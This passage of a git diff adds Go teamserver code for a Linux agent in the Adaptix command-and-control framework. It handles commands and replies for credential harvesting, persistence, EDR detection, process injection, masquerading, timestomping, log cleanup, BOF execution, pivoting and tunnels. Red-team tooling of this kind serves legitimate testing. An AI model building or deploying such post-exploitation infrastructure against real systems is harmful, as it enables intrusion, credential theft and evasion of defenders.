+ inPackerData, _ := msgpack.Marshal(ParamsUpload{
+ Path: remote_path,
+ Content: zipContent[start:fin],
+ Finish: finish,
+ })
+ inCmd := Command{Code: COMMAND_UPLOAD, Data: inPackerData}
+
+ if finish {
+ cmd = inCmd
+ break
+
+ } else {
+ inTaskData.Data, _ = msgpack.Marshal(inCmd)
+ inTaskData.TaskId = fmt.Sprintf("%08x", mrand.Uint32())
+
+ Ts.TsTaskCreate(agentData.Id, "", "", inTaskData)
+ }
+ }
+
+ case "link":
+ // TCP pivot — connect to child agent
+ target, err := getStringArg(args, "target")
+ if err != nil {
+ goto RET
+ }
+ portF, err := getFloatArg(args, "port")
+ if err != nil {
+ goto RET
+ }
+ packerData, _ := msgpack.Marshal(ParamsLink{Address: target, Port: int(portF)})
+ cmd = Command{Code: COMMAND_LINK, Data: packerData}
+
+ case "unlink":
+ pivotName, err := getStringArg(args, "id")
+ if err != nil {
+ goto RET
+ }
+ pivotId, _, _ := Ts.TsGetPivotInfoByName(pivotName)
+ if pivotId == "" {
+ err = fmt.Errorf("pivot %s does not exist", pivotName)
+ goto RET
+ }
+ id, _ := strconv.ParseUint(pivotId, 16, 64)
+ packerData, _ := msgpack.Marshal(ParamsUnlink{PivotId: uint32(id)})
+ cmd = Command{Code: COMMAND_UNLINK, Data: packerData}
+
+ case "execute":
+ if subcommand == "bof" {
+ taskData.Type = adaptix.TASK_TYPE_JOB
+
+ bofFile, err := getStringArg(args, "bof")
+ if err != nil {
+ goto RET
+ }
+ bofContent, err := base64.StdEncoding.DecodeString(bofFile)
+ if err != nil {
+ goto RET
+ }
+
+ var params []byte
+ paramData, ok := args["param_data"].(string)
+ if ok {
+ params, err = base64.StdEncoding.DecodeString(paramData)
+ if err != nil {
+ params = []byte(paramData)
+ }
+ }
+
+ packerData, _ := msgpack.Marshal(ParamsBof{
+ Content: bofContent,
+ Args: params,
+ EntryFunc: "go",
+ })
+
+ asyncFlag := getBoolArg(args, "async")
+ if asyncFlag {
+ cmd = Command{Code: COMMAND_EXEC_BOF_ASYNC, Data: packerData}
+ } else {
+ cmd = Command{Code: COMMAND_EXEC_BOF, Data: packerData}
+ }
+ } else {
+ err = errors.New("subcommand must be 'bof'")
+ goto RET
+ }
+
+ default:
+ err = errors.New(fmt.Sprintf("Command '%v' not found", command))
+ goto RET
+ }
+
+ taskData.Data, _ = msgpack.Marshal(cmd)
+
+RET:
+ return taskData, messageData, err
+}
+
+func (ext *ExtenderAgent) ProcessData(agentData adaptix.AgentData, decryptedData []byte) error {
+ var outTasks []adaptix.TaskData
+
+ taskData := adaptix.TaskData{
+ Type: adaptix.TASK_TYPE_TASK,
+ AgentId: agentData.Id,
+ FinishDate: time.Now().Unix(),
+ MessageType: adaptix.MESSAGE_SUCCESS,
+ Completed: true,
+ Sync: true,
+ }
+
+ var (
+ inMessage Message
+ cmd Command
+ job Job
+ )
+
+ err := msgpack.Unmarshal(decryptedData, &inMessage)
+ if err != nil {
+ return errors.New("failed to unmarshal message")
+ }
+
+ if inMessage.Type == 1 {
+
+ for _, cmdBytes := range inMessage.Object {
+ err = msgpack.Unmarshal(cmdBytes, &cmd)
+ if err != nil {
+ continue
+ }
+
+ TaskId := cmd.Id
+ commandId := cmd.Code
+ task := taskData
+ task.TaskId = fmt.Sprintf("%08x", TaskId)
+
+ switch commandId {
+
+ case COMMAND_CAT:
+ var params AnsCat
+ err := msgpack.Unmarshal(cmd.Data, ¶ms)
+ if err != nil {
+ continue
+ }
+ task.Message = fmt.Sprintf("'%v' file content:", params.Path)
+ task.ClearText = string(params.Content)
+
+ case COMMAND_CD:
+ var params AnsPwd
+ err := msgpack.Unmarshal(cmd.Data, ¶ms)
+ if err != nil {
+ continue
+ }
+ task.Message = "Current working directory:"
+ task.ClearText = params.Path
+
+ case COMMAND_CP:
+ task.Message = "Object copied successfully"
+
+ case COMMAND_PWD:
+ var params AnsPwd
+ err := msgpack.Unmarshal(cmd.Data, ¶ms)
+ if err != nil {
+ continue
+ }
+ task.Message = "Current working directory:"
+ task.ClearText = params.Path
+
+ case COMMAND_KILL:
+ task.Message = "Process killed"
+
+ case COMMAND_GETUID:
+ var params AnsShell
+ err := msgpack.Unmarshal(cmd.Data, ¶ms)
+ if err != nil {
+ continue
+ }
+ task.Message = "User info:"
+ task.ClearText = params.Output
+
+ case COMMAND_ENV:
+ var errResp AnsError
+ if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" {
+ task.Message = "Error:"
+ task.ClearText = errResp.Error
+ task.MessageType = adaptix.MESSAGE_ERROR
+ break
+ }
+ var params AnsShell
+ err := msgpack.Unmarshal(cmd.Data, ¶ms)
+ if err != nil {
+ continue
+ }
+ task.Message = "Environment variables:"
+ task.ClearText = params.Output
+
+ case COMMAND_NETSTAT:
+ var errResp AnsError
+ if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" {
+ task.Message = "Error:"
+ task.ClearText = errResp.Error
+ task.MessageType = adaptix.MESSAGE_ERROR
+ break
+ }
+ var params AnsShell
+ err := msgpack.Unmarshal(cmd.Data, ¶ms)
+ if err != nil {
+ continue
+ }
+ task.Message = "Network connections:"
+ task.ClearText = params.Output
+
+ case COMMAND_MOUNTS:
+ var errResp AnsError
+ if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" {
+ task.Message = "Error:"
+ task.ClearText = errResp.Error
+ task.MessageType = adaptix.MESSAGE_ERROR
+ break
+ }
+ var params AnsShell
+ err := msgpack.Unmarshal(cmd.Data, ¶ms)
+ if err != nil {
+ continue
+ }
+ task.Message = "Mount points:"
+ task.ClearText = params.Output
+
+ case COMMAND_EDR:
+ var errResp AnsError
+ if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" {
+ task.Message = "Error:"
+ task.ClearText = errResp.Error
+ task.MessageType = adaptix.MESSAGE_ERROR
+ break
+ }
+ var params AnsShell
+ err := msgpack.Unmarshal(cmd.Data, ¶ms)
+ if err != nil {
+ continue
+ }
+ task.Message = "Security tool detection:"
+ task.ClearText = params.Output
+
+ case COMMAND_CREDS:
+ var errResp AnsError
+ if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" {
+ task.Message = "Error:"
+ task.ClearText = errResp.Error
+ task.MessageType = adaptix.MESSAGE_ERROR
+ break
+ }
+ var params AnsShell
+ err := msgpack.Unmarshal(cmd.Data, ¶ms)
+ if err != nil {
+ continue
+ }
+ task.Message = "Credential harvest:"
+ task.ClearText = params.Output
+
+ case COMMAND_PERSIST:
+ var errResp AnsError
+ if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" {
+ task.Message = "Error:"
+ task.ClearText = errResp.Error
+ task.MessageType = adaptix.MESSAGE_ERROR
+ break
+ }
+ var params AnsShell
+ err := msgpack.Unmarshal(cmd.Data, ¶ms)
+ if err != nil {
+ continue
+ }
+ task.Message = "Persistence:"
+ task.ClearText = params.Output
+
+ case COMMAND_CONTAINER:
+ var errResp AnsError
+ if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" {
+ task.Message = "Error:"
+ task.ClearText = errResp.Error
+ task.MessageType = adaptix.MESSAGE_ERROR
+ break
+ }
+ var params AnsShell
+ err := msgpack.Unmarshal(cmd.Data, ¶ms)
+ if err != nil {
+ continue
+ }
+ task.Message = "Container/Cloud info:"
+ task.ClearText = params.Output
+
+ case COMMAND_MASQUERADE:
+ var errResp AnsError
+ if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" {
+ task.Message = "Error:"
+ task.ClearText = errResp.Error
+ task.MessageType = adaptix.MESSAGE_ERROR
+ break
+ }
+ var ans AnsShell
+ if err := msgpack.Unmarshal(cmd.Data, &ans); err != nil {
+ continue
+ }
+ task.Message = "Process masquerade:"
+ task.ClearText = ans.Output
+ task.MessageType = adaptix.MESSAGE_SUCCESS
+
+ case COMMAND_TIMESTOMP:
+ var errResp AnsError
+ if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" {
+ task.Message = "Error:"
+ task.ClearText = errResp.Error
+ task.MessageType = adaptix.MESSAGE_ERROR
+ break
+ }
+ var ans AnsShell
+ if err := msgpack.Unmarshal(cmd.Data, &ans); err != nil {
+ continue
+ }
+ task.Message = "Timestomp:"
+ task.ClearText = ans.Output
+ task.MessageType = adaptix.MESSAGE_SUCCESS
+
+ case COMMAND_CLEANLOG:
+ var errResp AnsError
+ if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" {
+ task.Message = "Error:"
+ task.ClearText = errResp.Error
+ task.MessageType = adaptix.MESSAGE_ERROR
+ break
+ }
+ var ans AnsShell
+ if err := msgpack.Unmarshal(cmd.Data, &ans); err != nil {
+ continue
+ }
+ task.Message = "Log cleanup:"
+ task.ClearText = ans.Output
+ task.MessageType = adaptix.MESSAGE_SUCCESS
+
+ case COMMAND_INJECT:
+ var errResp AnsError
+ if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" {
+ task.Message = "Error:"
+ task.ClearText = errResp.Error
+ task.MessageType = adaptix.MESSAGE_ERROR
+ break
+ }
+ var ans AnsShell
+ if err := msgpack.Unmarshal(cmd.Data, &ans); err != nil {
+ continue
+ }
+ task.Message = "Process injection:"
+ task.ClearText = ans.Output
+ task.MessageType = adaptix.MESSAGE_SUCCESS
+
+ case COMMAND_MIGRATE:
+ var errResp AnsError
+ if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" {
+ task.Message = "Error:"
+ task.ClearText = errResp.Error
+ task.MessageType = adaptix.MESSAGE_ERROR
+ break
+ }
+ var ans AnsShell
+ if err := msgpack.Unmarshal(cmd.Data, &ans); err != nil {
+ continue
+ }
+ task.Message = "Migration:"
+ task.ClearText = ans.Output
+
+ case COMMAND_LINK:
+ var errResp AnsError
+ if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" {
+ task.Message = "Link failed:"
+ task.ClearText = errResp.Error
+ task.MessageType = adaptix.MESSAGE_ERROR
+ break
+ }
+ var params AnsLink
+ if err := msgpack.Unmarshal(cmd.Data, ¶ms); err != nil {
+ continue
+ }
+ // params.Beat contains the child agent's encrypted init data
+ // params.Watermark is the child's watermark identifier
+ watermark := fmt.Sprintf("%08x", params.Watermark)
+ childAgentId, linkErr := Ts.TsListenerInteralHandler(watermark, params.Beat)
+ if linkErr != nil || childAgentId == "" {
+ task.Message = fmt.Sprintf("Link failed: listener handler error for watermark %s", watermark)
+ task.MessageType = adaptix.MESSAGE_ERROR
+ break
+ }
+ _ = Ts.TsPivotCreate(task.TaskId, agentData.Id, childAgentId, "", false)
+
+ task.Message = fmt.Sprintf("----- New TCP pivot agent: [%s]===[%s] -----", agentData.Id, childAgentId)
+ Ts.TsAgentConsoleOutput(childAgentId, adaptix.MESSAGE_SUCCESS, task.Message, "\n", true)
+
+ case COMMAND_UNLINK:
+ var params AnsUnlink
+ if err := msgpack.Unmarshal(cmd.Data, ¶ms); err != nil {
+ continue
+ }
+
+ pivotId := fmt.Sprintf("%08x", params.PivotId)
+ pivotType := params.Type
+
+ _, parentAgentId, childAgentId := Ts.TsGetPivotInfoById(pivotId)
+
+ messageParent := ""
+ messageChild := ""
+ if pivotType == 2 {
+ messageParent = fmt.Sprintf("TCP agent %s connection reset", childAgentId)
+ messageChild = " ----- TCP agent connection reset ----- "
+ } else if pivotType == 10 {
+ messageParent = fmt.Sprintf("Pivot agent %s connection reset", childAgentId)
+ messageChild = " ----- Pivot agent connection reset ----- "
+ }
+
+ if pivotType != 0 {
+ _ = Ts.TsPivotDelete(pivotId)
+ if TaskId == 0 {
+ // Auto-disconnect from process_pivots — no task to update
+ Ts.TsAgentConsoleOutput(parentAgentId, adaptix.MESSAGE_SUCCESS, messageParent, "\n", true)
+ Ts.TsAgentConsoleOutput(childAgentId, adaptix.MESSAGE_SUCCESS, messageChild, "\n", true)
+ continue
+ } else {
+ task.Message = messageParent
+ }
+ Ts.TsAgentConsoleOutput(childAgentId, adaptix.MESSAGE_SUCCESS, messageChild, "\n", true)
+ }
+
+ case COMMAND_PIVOT_EXEC:
+ var params AnsPivotExec
+ if err := msgpack.Unmarshal(cmd.Data, ¶ms); err != nil {
+ continue
+ }
+ pivotId := fmt.Sprintf("%08x", params.PivotId)
+ _, _, childAgentId := Ts.TsGetPivotInfoById(pivotId)
+ _ = Ts.TsAgentProcessData(childAgentId, params.Data)
+ continue // silent relay — no task output
+
+ case COMMAND_EXEC_BOF:
+ var bofOut AnsBofOutput
+ if err := msgpack.Unmarshal(cmd.Data, &bofOut); err != nil {
+ task.Message = "BOF finished"
+ task.Completed = true
+ break
+ }
+ switch bofOut.Type {
+ case BOF_ERROR_PARSE:
+ task.MessageType = adaptix.MESSAGE_ERROR
+ task.Message = "BOF error"
+ task.ClearText = "Parse BOF error: " + bofOut.Output
+ case BOF_ERROR_SYMBOL:
+ task.MessageType = adaptix.MESSAGE_ERROR
+ task.Message = "BOF error"
+ task.ClearText = "Symbol not found: " + bofOut.Output
+ case BOF_ERROR_ENTRY:
+ task.MessageType = adaptix.MESSAGE_ERROR
+ task.Message = "BOF error"
+ task.ClearText = "Entry function not found"
+ case BOF_ERROR_ALLOC:
+ task.MessageType = adaptix.MESSAGE_ERROR
+ task.Message = "BOF error"
+ task.ClearText = "Error allocation of BOF memory"
+ case BOF_ERROR_RELOC:
+ task.MessageType = adaptix.MESSAGE_ERROR
+ task.Message = "BOF error"
+ task.ClearText = "Relocation failed: " + bofOut.Output
+ case CALLBACK_ERROR:
+ task.MessageType = adaptix.MESSAGE_ERROR
+ task.Message = "BOF output"
+ task.ClearText = bofOut.Output
+ default:
+ task.MessageType = adaptix.MESSAGE_SUCCESS
+ task.Message = "BOF output"
+ task.ClearText = bofOut.Output
+ }
+
+ case COMMAND_EXEC_BOF_ASYNC:
+ task.Message = "Async BOF started"
+ task.Completed = false
+
+ case COMMAND_EXIT:
+ task.Message = "The agent has completed its work (kill process)"
+ _ = Ts.TsAgentTerminate(agentData.Id, task.TaskId)
+
+ case COMMAND_JOB_LIST:
+ var params AnsJobList
+ err := msgpack.Unmarshal(cmd.Data, ¶ms)
+ if err != nil {
+ continue
+ }
+
+ var jobList []JobInfo
+ err = msgpack.Unmarshal(params.List, &jobList)
+ if err != nil {
+ continue
+ }
+
+ Output := ""
+ if len(jobList) > 0 {
+ Output += fmt.Sprintf(" %-10s %-13s\n", "JobID", "Type")
+ Output += fmt.Sprintf(" %-10s %-13s", "--------", "-------")
+
+ for _, value := range jobList {
+ stringType := "Unknown"
+ if value.JobType == 0x2 {
+ stringType = "Download"
+ } else if value.JobType == 0x3 {
+ stringType = "Process"
+ }
+
+ Output += fmt.Sprintf("\n %-10v %-13s", value.JobId, stringType)
+ }
+
+ task.Message = "Job list:"
+ task.ClearText = Output
+ } else {
+ task.Message = "No active jobs"
+ }
+
+ case COMMAND_JOB_KILL:
+ task.Message = "Job killed"
+
+ case COMMAND_LS:
+ var params AnsLs
+ err := msgpack.Unmarshal(cmd.Data, ¶ms)
+ if err != nil {
+ continue
+ }
+
+ var items []adaptix.ListingFileDataUnix
+
+ if !params.Result {
+ task.Message = params.Status
+ task.MessageType = adaptix.MESSAGE_ERROR
+ } else {
+ var Files []FileInfo
+ err := msgpack.Unmarshal(params.Files, &Files)
+ if err != nil {
+ continue
+ }
+
+ filesCount := len(Files)
+ if filesCount == 0 {
+ task.Message = fmt.Sprintf("The '%s' directory is EMPTY", params.Path)
+ } else {
+
+ modeFsize := 1
+ lnkFsize := 1
+ userFsize := 1
+ groupFsize := 1
+ sizeFsize := 1
+ dateFsize := 1
+
+ for _, f := range Files {
+ val := fmt.Sprintf("%d", f.Nlink)
+ if len(val) > lnkFsize {
+ lnkFsize = len(val)
+ }
+ val = fmt.Sprintf("%d", f.Size)
+ if len(val) > sizeFsize {
+ sizeFsize = len(val)
+ }
+ if len(f.Mode) > modeFsize {
+ modeFsize = len(f.Mode)
+ }
+ if len(f.User) > userFsize {
+ userFsize = len(f.User)
+ }
+ if len(f.Group) > groupFsize {
+ groupFsize = len(f.Group)
+ }
+ if len(f.Date) > dateFsize {
+ dateFsize = len(f.Date)
+ }
+ }
+
+ format2 := fmt.Sprintf(" %%-%ds %%-%dd %%-%ds %%-%ds %%-%dd %%-%ds %%s", modeFsize, lnkFsize, userFsize, groupFsize, sizeFsize, dateFsize)
+ OutputText := ""
+ for _, fi := range Files {
+ OutputText += fmt.Sprintf("\n"+format2, fi.Mode, fi.Nlink, fi.User, fi.Group, fi.Size, fi.Date, fi.Filename)
+
+ fileData := adaptix.ListingFileDataUnix{
+ IsDir: fi.IsDir,
+ Mode: fi.Mode,
+ User: fi.User,
+ Group: fi.Group,
+ Size: fi.Size,
+ Date: fi.Date,
+ Filename: fi.Filename,
+ }
+
+ items = append(items, fileData)
+ }
+
+ task.Message = fmt.Sprintf("Listing '%s'", params.Path)
+ task.ClearText = OutputText
+ }
+ }
+ Ts.TsClientGuiFilesUnix(task, params.Path, items)
+
+ case COMMAND_MKDIR:
+ task.Message = "Directory created successfully"
+
+ case COMMAND_MV:
+ task.Message = "Object moved successfully"
+
+ case COMMAND_PS:
+ var params AnsPs
+ err := msgpack.Unmarshal(cmd.Data, ¶ms)
+ if err != nil {
+ continue
+ }
+
+ var proclist []adaptix.ListingProcessDataUnix
+
+ if !params.Result {
+ task.Message = params.Status
+ task.MessageType = adaptix.MESSAGE_ERROR
+ } else {
+ var Processes []PsInfo
+ err := msgpack.Unmarshal(params.Processes, &Processes)
+ if err != nil {
+ continue
+ }
+
+ procCount := len(Processes)
+ if procCount == 0 {
+ task.Message = "Failed to get process list"
+ task.MessageType = adaptix.MESSAGE_ERROR
+ break
+ } else {
+ pidFsize := 3
+ ppidFsize := 4
+ ttyFsize := 3
+ contextFsize := 7
+ processFsize := 7
+
+ for _, p := range Processes {
+ val := fmt.Sprintf("%d", p.Pid)
+ if len(val) > pidFsize {
+ pidFsize = len(val)
+ }
+ val = fmt.Sprintf("%d", p.Ppid)
+ if len(val) > ppidFsize {
+ ppidFsize = len(val)
+ }
+ if len(p.Tty) > ttyFsize {
+ ttyFsize = len(p.Tty)
+ }
+ if len(p.Context) > contextFsize {
+ contextFsize = len(p.Context)
+ }
+ if len(p.Process) > processFsize {
+ processFsize = len(p.Process)
+ }
+
+ procData := adaptix.ListingProcessDataUnix{
+ Pid: uint(p.Pid),
+ Ppid: uint(p.Ppid),
+ TTY: p.Tty,
+ Context: p.Context,
+ ProcessName: p.Process,
+ }
+
+ proclist = append(proclist, procData)
+ }
+
+ format := fmt.Sprintf(" %%-%dv %%-%dv %%-%ds %%-%ds %%-%ds", pidFsize, ppidFsize, ttyFsize, contextFsize, processFsize)
+ OutputText := fmt.Sprintf(format, "PID", "PPID", "TTY", "Context", "Process")
+ OutputText += fmt.Sprintf("\n"+format, "---", "----", "---", "-------", "-------")
+
+ for _, p := range Processes {
+ OutputText += fmt.Sprintf("\n"+format, p.Pid, p.Ppid, p.Tty, p.Context, p.Process)
+ }
+
+ task.Message = "Process list:"
+ task.ClearText = OutputText
+ }
+ }
+ Ts.TsClientGuiProcessUnix(task, proclist)
+
+ case COMMAND_RM:
+ task.Message = "Object removed successfully"
+
+ case COMMAND_SHELL:
+ var errResp AnsError
+ if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" {
+ task.Message = "Shell error:"
+ task.ClearText = errResp.Error
+ task.MessageType = adaptix.MESSAGE_ERROR
+ break
+ }
+
+ var params AnsShell
+ err := msgpack.Unmarshal(cmd.Data, ¶ms)
+ if err != nil {
+ continue
+ }
+ task.Message = "Shell command output:"
+ task.ClearText = params.Output
+
+ case COMMAND_UPLOAD:
+ var params AnsUpload
+ err := msgpack.Unmarshal(cmd.Data, ¶ms)
+ if err != nil {
+ continue
+ }
+ task.Message = fmt.Sprintf("File uploaded: %s", params.Path)
+
+ case COMMAND_ERROR:
+ var params AnsError
+ err := msgpack.Unmarshal(cmd.Data, ¶ms)
+ if err != nil {
+ continue
+ }
+ task.Message = "Error:"
+ task.ClearText = params.Error
+ task.MessageType = adaptix.MESSAGE_ERROR
+
+ case COMMAND_DOWNLOAD:
+ task.Message = "Download started"
+ task.Completed = false
+
+ case COMMAND_RUN:
+ task.Message = "Process started (async)"
+ task.Completed = false
+
+ // Tunnel MUX responses (transparent — no task UI, route directly to Ts*)
+ case COMMAND_TUNNEL_STATUS:
+ var params AnsTunnelStatus
+ if merr := msgpack.Unmarshal(cmd.Data, ¶ms); merr == nil {
+ if params.Success {
+ Ts.TsTunnelConnectionResume(agentData.Id, params.ChannelId, false)
+ } else {
+ errorCode := adaptix.SOCKS5_HOST_UNREACHABLE
+ if params.Reason == 5 { // connection refused
+ errorCode = adaptix.SOCKS5_CONNECTION_REFUSED
+ }
+ Ts.TsTunnelConnectionHalt(params.ChannelId, errorCode)
+ }
+ }
+ continue
+
+ case COMMAND_TUNNEL_DATA:
+ var params AnsTunnelData
+ if merr := msgpack.Unmarshal(cmd.Data, ¶ms); merr == nil {
+ Ts.TsTunnelConnectionData(params.ChannelId, params.Data)
+ }
+ continue
+
+ case COMMAND_TUNNEL_CLOSE:
+ var params AnsTunnelClose
+ if merr := msgpack.Unmarshal(cmd.Data, ¶ms); merr == nil {
+ Ts.TsTunnelConnectionClose(params.ChannelId, false)
+ }
+ continue
+
+ // Agent backpressure responses (transparent)
+ case COMMAND_TUNNEL_PAUSE:
+ // Agent says: my write buffer is full, stop sending TUNNEL_WRITE
+ // The teamserver handles this via TsTunnelConnectionClose with writeOnly
+ continue
+
+ case COMMAND_TUNNEL_RESUME:
+ // Agent says: write buffer drained, resume TUNNEL_WRITE
+ continue
+
+ case COMMAND_TUNNEL_WRITE:
+ // This should never come from agent→teamserver, ignore
+ continue
+
+ case COMMAND_TUNNEL_START:
+ task.Message = "Tunnel starting"
+ task.Completed = false
+
+ case COMMAND_TUNNEL_STOP:
+ task.Message = "Tunnel stopped"
+
+ case COMMAND_TERMINAL_START:
+ task.Message = "Terminal starting"
+ task.Completed = false
+
+ case COMMAND_TERMINAL_STOP:
+ task.Message = "Terminal stopped"
+
+ default:
+ task.Message = "Unknown response"
+ task.MessageType = adaptix.MESSAGE_ERROR
+ }
+
+ outTasks = append(outTasks, task)
+ }
+
+ } else if inMessage.Type == 2 {
+
+ for _, jobBytes := range inMessage.Object {
+
+ err = msgpack.Unmarshal(jobBytes, &job)
+ if err != nil {
+ continue
+ }
+
+ commandId := job.CommandId
+
+ switch commandId {
+
+ case COMMAND_DOWNLOAD:
+ var params AnsDownload
+ err := msgpack.Unmarshal(job.Data, ¶ms)
+ if err != nil {
+ continue
+ }
+
+ fileId := fmt.Sprintf("%08x", params.FileId)
+
+ if params.Start {
+ _ = Ts.TsDownloadAdd(agentData.Id, fileId, params.Path, int64(params.Size))
+ }
+
+ _ = Ts.TsDownloadUpdate(fileId, 1, params.Content)
+
+ if params.Finish {
+ if params.Canceled {
+ _ = Ts.TsDownloadClose(fileId, 4)
+ } else {
+ _ = Ts.TsDownloadClose(fileId, 3)
+ }
+ }
+
+ case COMMAND_RUN:
+ var params AnsRun
+ err := msgpack.Unmarshal(job.Data, ¶ms)
+ if err != nil {
+ continue
+ }
+
+ task := taskData
+ task.TaskId = job.JobId
+ task.Completed = params.Finish
+
+ if params.Start {
+ task.Completed = false
+ task.Message = fmt.Sprintf("Process started: PID = %d", params.Pid)
+ task.ClearText = "\n"
+
+ } else if params.Finish {
+ task.Message = "Process finished"
+ task.ClearText = "\n"
+
+ } else {
+ task.Completed = false
+ task.Message = ""
+
+ if len(params.Stderr) > 0 {
+ task.MessageType = adaptix.MESSAGE_ERROR
+ task.Message = "Stderr:"
+ task.ClearText = params.Stderr
+ }
+ if len(params.Stdout) > 0 {
+ task.ClearText = params.Stdout
+ }
+ }
+
+ outTasks = append(outTasks, task)
+
+ // NOTE: Tunnel commands no longer come through Type 2 (Job).
+ // Tunnel MUX data flows in Type 1 (Command) via process_tunnels().
+
+ case COMMAND_TERMINAL_START, COMMAND_TERMINAL_STOP:
+ termTask := adaptix.TaskData{
+ Type: adaptix.TASK_TYPE_PROXY_DATA,
+ AgentId: agentData.Id,
+ Data: job.Data,
+ Sync: false,
+ }
+ outTasks = append(outTasks, termTask)
+
+ case COMMAND_EXEC_BOF_OUT:
+ var bofOut AnsBofOutput
+ if err := msgpack.Unmarshal(job.Data, &bofOut); err != nil {
+ continue
+ }
+
+ task := taskData
+ task.TaskId = job.JobId
+
+ if bofOut.Type == 0xFF {
+ // Sentinel: async BOF finished
+ task.Message = "Async BOF finished"
+ task.Completed = true
+ task.ClearText = "\n"
+ } else if bofOut.Type == CALLBACK_ERROR {
+ task.MessageType = adaptix.MESSAGE_ERROR
+ task.Message = "BOF output"
+ task.ClearText = bofOut.Output
+ task.Completed = false
+ } else if bofOut.Type >= 0x100 {
+ // BOF error codes
+ task.MessageType = adaptix.MESSAGE_ERROR
+ task.Message = "BOF error"
+ task.ClearText = bofOut.Output
+ task.Completed = true
+ } else {
+ task.MessageType = adaptix.MESSAGE_SUCCESS
+ task.Message = "BOF output"
+ task.ClearText = bofOut.Output
+ task.Completed = false
+ }
+
+ outTasks = append(outTasks, task)
+ }
+ }
+ }
+
+ for _, task := range outTasks {
+ Ts.TsTaskUpdate(agentData.Id, task)
+ }
+
+ _ = job
+
+ return nil
+}
diff --git a/AdaptixServer/extenders/linux_agent/pl_utils.go b/AdaptixServer/extenders/linux_agent/pl_utils.go
new file mode 100644
index 000000000..aa75878f7
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/pl_utils.go
@@ -0,0 +1,515 @@
+package main
+
+import (
+ "archive/zip"
+ "bytes"
+ "fmt"
+ "io"
+ "regexp"
+ "strconv"
+)
+
+/// Protocol types — msgpack structs for agent communication
+/// These are COPIED from macOS agent, not shared.
+/// Any Linux-specific additions go here without affecting macOS/beacon/gopher.
+
+type Profile struct {
+ Type uint `msgpack:"type"`
+ ListenerWatermark uint `msgpack:"listener_watermark"`
+ Addresses []string `msgpack:"addresses"`
+ BannerSize int `msgpack:"banner_size"`
+ ConnTimeout int `msgpack:"conn_timeout"`
+ ConnCount int `msgpack:"conn_count"`
+ UseSSL bool `msgpack:"use_ssl"`
+ SslCert []byte `msgpack:"ssl_cert"`
+ SslKey []byte `msgpack:"ssl_key"`
+ CaCert []byte `msgpack:"ca_cert"`
+ BindPort int `msgpack:"bind_port"`
+}
+
+type SessionInfo struct {
+ Process string `msgpack:"process"`
+ PID int `msgpack:"pid"`
+ User string `msgpack:"user"`
+ Host string `msgpack:"host"`
+ Ipaddr string `msgpack:"ipaddr"`
+ Elevated bool `msgpack:"elevated"`
+ Acp uint32 `msgpack:"acp"`
+ Oem uint32 `msgpack:"oem"`
+ Os string `msgpack:"os"`
+ OSVersion string `msgpack:"os_version"`
+ EncryptKey []byte `msgpack:"encrypt_key"`
+}
+
+/// Message types
+
+type Message struct {
+ Type int8 `msgpack:"type"`
+ Object [][]byte `msgpack:"object"`
+}
+
+type Command struct {
+ Code uint `msgpack:"code"`
+ Id uint `msgpack:"id"`
+ Data []byte `msgpack:"data"`
+}
+
+type Job struct {
+ CommandId uint `msgpack:"command_id"`
+ JobId string `msgpack:"job_id"`
+ Data []byte `msgpack:"data"`
+}
+
+/// Answer / Params structs
+
+type AnsError struct {
+ Error string `msgpack:"error"`
+}
+
+type AnsPwd struct {
+ Path string `msgpack:"path"`
+}
+
+type ParamsCd struct {
+ Path string `msgpack:"path"`
+}
+
+type ParamsShell struct {
+ Program string `msgpack:"program"`
+ Args []string `msgpack:"args"`
+}
+
+type AnsShell struct {
+ Output string `msgpack:"output"`
+}
+
+type ParamsDownload struct {
+ Task string `msgpack:"task"`
+ Path string `msgpack:"path"`
+}
+
+type AnsDownload struct {
+ FileId int `msgpack:"id"`
+ Path string `msgpack:"path"`
+ Size int `msgpack:"size"`
+ Content []byte `msgpack:"content"`
+ Start bool `msgpack:"start"`
+ Finish bool `msgpack:"finish"`
+ Canceled bool `msgpack:"canceled"`
+}
+
+type ParamsUpload struct {
+ Path string `msgpack:"path"`
+ Content []byte `msgpack:"content"`
+ Finish bool `msgpack:"finish"`
+}
+
+type AnsUpload struct {
+ Path string `msgpack:"path"`
+}
+
+type ParamsCat struct {
+ Path string `msgpack:"path"`
+}
+
+type AnsCat struct {
+ Path string `msgpack:"path"`
+ Content []byte `msgpack:"content"`
+}
+
+type ParamsCp struct {
+ Src string `msgpack:"src"`
+ Dst string `msgpack:"dst"`
+}
+
+type ParamsMv struct {
+ Src string `msgpack:"src"`
+ Dst string `msgpack:"dst"`
+}
+
+type ParamsMkdir struct {
+ Path string `msgpack:"path"`
+}
+
+type ParamsRm struct {
+ Path string `msgpack:"path"`
+}
+
+type ParamsLs struct {
+ Path string `msgpack:"path"`
+}
+
+type FileInfo struct {
+ Mode string `msgpack:"mode"`
+ Nlink int `msgpack:"nlink"`
+ User string `msgpack:"user"`
+ Group string `msgpack:"group"`
+ Size int64 `msgpack:"size"`
+ Date string `msgpack:"date"`
+ Filename string `msgpack:"filename"`
+ IsDir bool `msgpack:"is_dir"`
+}
+
+type AnsLs struct {
+ Result bool `msgpack:"result"`
+ Status string `msgpack:"status"`
+ Path string `msgpack:"path"`
+ Files []byte `msgpack:"files"`
+}
+
+type PsInfo struct {
+ Pid int `msgpack:"pid"`
+ Ppid int `msgpack:"ppid"`
+ Tty string `msgpack:"tty"`
+ Context string `msgpack:"context"`
+ Process string `msgpack:"process"`
+}
+
+type AnsPs struct {
